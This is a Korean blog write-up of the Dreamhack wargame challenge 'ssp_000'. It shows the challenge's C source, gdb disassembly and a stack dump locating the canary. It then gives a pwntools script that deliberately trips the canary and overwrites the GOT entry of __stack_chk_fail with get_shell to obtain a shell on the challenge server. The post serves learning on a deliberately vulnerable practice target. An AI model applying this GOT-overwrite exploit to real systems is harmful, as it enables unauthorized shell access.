워게임

Dreamhack - ssp_000

HackHiJack 2021. 7. 31. 17:40
728x90
반응형

오늘은 내가 ssp를 배운 기념으로 드림핵의 ssp문제를 풀어볼 것이다.

 

그러면 바로 코드를 살펴보겠다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

음... 위 코드만으로 보자면 일단은 Canary를 leak을 하지 못할 것이다.

 

위 코드로는 어떻게 exploit 할지 모를 것 같다.

그러면 gdb로 더 자세히 확인해보자.

 

1. gdb에서 canary 확인하기

 

먼저 main을 디스어셈블 해보자.

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004008fb <+0>:	push   rbp
   0x00000000004008fc <+1>:	mov    rbp,rsp
   0x00000000004008ff <+4>:	sub    rsp,0x70
   0x0000000000400903 <+8>:	mov    DWORD PTR [rbp-0x64],edi
   0x0000000000400906 <+11>:	mov    QWORD PTR [rbp-0x70],rsi
   0x000000000040090a <+15>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400913 <+24>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400917 <+28>:	xor    eax,eax
   0x0000000000400919 <+30>:	lea    rdx,[rbp-0x50]
   0x000000000040091d <+34>:	mov    eax,0x0
   0x0000000000400922 <+39>:	mov    ecx,0x8
   0x0000000000400927 <+44>:	mov    rdi,rdx
   0x000000000040092a <+47>:	rep stos QWORD PTR es:[rdi],rax
   0x000000000040092d <+50>:	mov    eax,0x0
   0x0000000000400932 <+55>:	call   0x40088e <initialize>
   0x0000000000400937 <+60>:	lea    rax,[rbp-0x50]
   0x000000000040093b <+64>:	mov    edx,0x80
   0x0000000000400940 <+69>:	mov    rsi,rax
   0x0000000000400943 <+72>:	mov    edi,0x0
   0x0000000000400948 <+77>:	call   0x400710 <read@plt>
   0x000000000040094d <+82>:	mov    edi,0x400a55
   0x0000000000400952 <+87>:	mov    eax,0x0
   0x0000000000400957 <+92>:	call   0x4006f0 <printf@plt>
   0x000000000040095c <+97>:	lea    rax,[rbp-0x60]
   0x0000000000400960 <+101>:	mov    rsi,rax
   0x0000000000400963 <+104>:	mov    edi,0x400a5d
   0x0000000000400968 <+109>:	mov    eax,0x0
   0x000000000040096d <+114>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400972 <+119>:	mov    edi,0x400a61
   0x0000000000400977 <+124>:	mov    eax,0x0
   0x000000000040097c <+129>:	call   0x4006f0 <printf@plt>
---Type <return> to continue, or q <return> to quit---
   0x0000000000400981 <+134>:	lea    rax,[rbp-0x58]
   0x0000000000400985 <+138>:	mov    rsi,rax
   0x0000000000400988 <+141>:	mov    edi,0x400a5d
   0x000000000040098d <+146>:	mov    eax,0x0
   0x0000000000400992 <+151>:	call   0x400750 <__isoc99_scanf@plt>
   0x0000000000400997 <+156>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040099b <+160>:	mov    rdx,rax
   0x000000000040099e <+163>:	mov    rax,QWORD PTR [rbp-0x58]
   0x00000000004009a2 <+167>:	mov    QWORD PTR [rdx],rax
   0x00000000004009a5 <+170>:	mov    eax,0x0
   0x00000000004009aa <+175>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x00000000004009ae <+179>:	xor    rcx,QWORD PTR fs:0x28
   0x00000000004009b7 <+188>:	je     0x4009be <main+195>
   0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>
   0x00000000004009be <+195>:	leave  
   0x00000000004009bf <+196>:	ret

그러면 카나리 값의 위치를 확인하기 위해서

일단 read를 call 할 때 브레이크를 걸어보자.

실행하고 rsi를 살펴보면 카나리의 값이 나온다.

(gdb) b *0x0000000000400948
Breakpoint 1 at 0x400948
(gdb) r
Starting program: /home/psj/ssp_000 

Breakpoint 1, 0x0000000000400948 in main ()
(gdb) i r rsi
rsi            0x7fffffffde00	140737488346624
(gdb) x/40gx 0x7fffffffde00
0x7fffffffde00:	0x0000000000000000	0x0000000000000000
0x7fffffffde10:	0x0000000000000000	0x0000000000000000
0x7fffffffde20:	0x0000000000000000	0x0000000000000000
0x7fffffffde30:	0x0000000000000000	0x0000000000000000
0x7fffffffde40:	0x00007fffffffdf30	0x95e122e28cf06000 <<<<<---- canary
0x7fffffffde50:	0x00000000004009c0	0x00007ffff7a2d840
0x7fffffffde60:	0x0000000000000001	0x00007fffffffdf38
0x7fffffffde70:	0x00000001f7ffcca0	0x00000000004008fb
0x7fffffffde80:	0x0000000000000000	0xaa77d80aa93e6705
0x7fffffffde90:	0x0000000000400780	0x00007fffffffdf30
0x7fffffffdea0:	0x0000000000000000	0x0000000000000000
0x7fffffffdeb0:	0x55882775067e6705	0x558837cf154e6705
0x7fffffffdec0:	0x0000000000000000	0x0000000000000000
0x7fffffffded0:	0x0000000000000000	0x00007fffffffdf48
0x7fffffffdee0:	0x00007ffff7ffe168	0x00007ffff7de780b
0x7fffffffdef0:	0x0000000000000000	0x0000000000000000
0x7fffffffdf00:	0x0000000000400780	0x00007fffffffdf30
0x7fffffffdf10:	0x0000000000000000	0x00000000004007a9
0x7fffffffdf20:	0x00007fffffffdf28	0x000000000000001c
0x7fffffffdf30:	0x0000000000000001	0x00007fffffffe2cf

그러면 80바이트를 넣으면 카나리를 덮을 수 있다.

 

2. exploit

 

이제 exploit을 할 방법을 생각해야 한다.

일단 아까 메인을 디스어셈 한 거에서 stack chk fail 함수를 부르는  부분이 ret직전에 있다.

0x00000000004009ae <+179>:	xor    rcx,QWORD PTR fs:0x28
0x00000000004009b7 <+188>:	je     0x4009be <main+195>
0x00000000004009b9 <+190>:	call   0x4006d0 <__stack_chk_fail@plt>
0x00000000004009be <+195>:	leave  
0x00000000004009bf <+196>:	ret

위 함수를 부르기 전에 임의의 주소에 값을 받는다.

printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);

(아까 C코드)

 

canary를 변조를 하면 무조건 stack chk fail이 실행된다.

 

그러면 처음에 nop을 80바이트를 넣어서 카나리를 변조하고, 다음에 임의의 주소에 값을 받을 때, addr에 stack_chk_fail의 got를 넣고 value에 get_shell의 함수를 넣으면 쉘을 실행할 수 있을 것이다.

 

그러면 마지막으로 get_shell의 주소를 확인하자.

(gdb) info func get_shell
All functions matching regular expression "get_shell":

Non-debugging symbols:
0x00000000004008ea  get_shell

0x4008ea에 있다.

 

이제 exploit code를 만들어 보자.

from pwn import *

#p = process("./ssp_000")
p = remote("host1.dreamhack.games",15298)
e = ELF("./ssp_000")

p.sendline(b"A"*80) #nop 80bytes

p.recvuntil("r : ") #Addr : 

p.sendline(str(e.got['__stack_chk_fail']))

p.recvuntil("e : ") #value : 

p.sendline(str(0x4008ea))

p.interactive()

이제 스크립트를 실행해보자.

728x90
반응형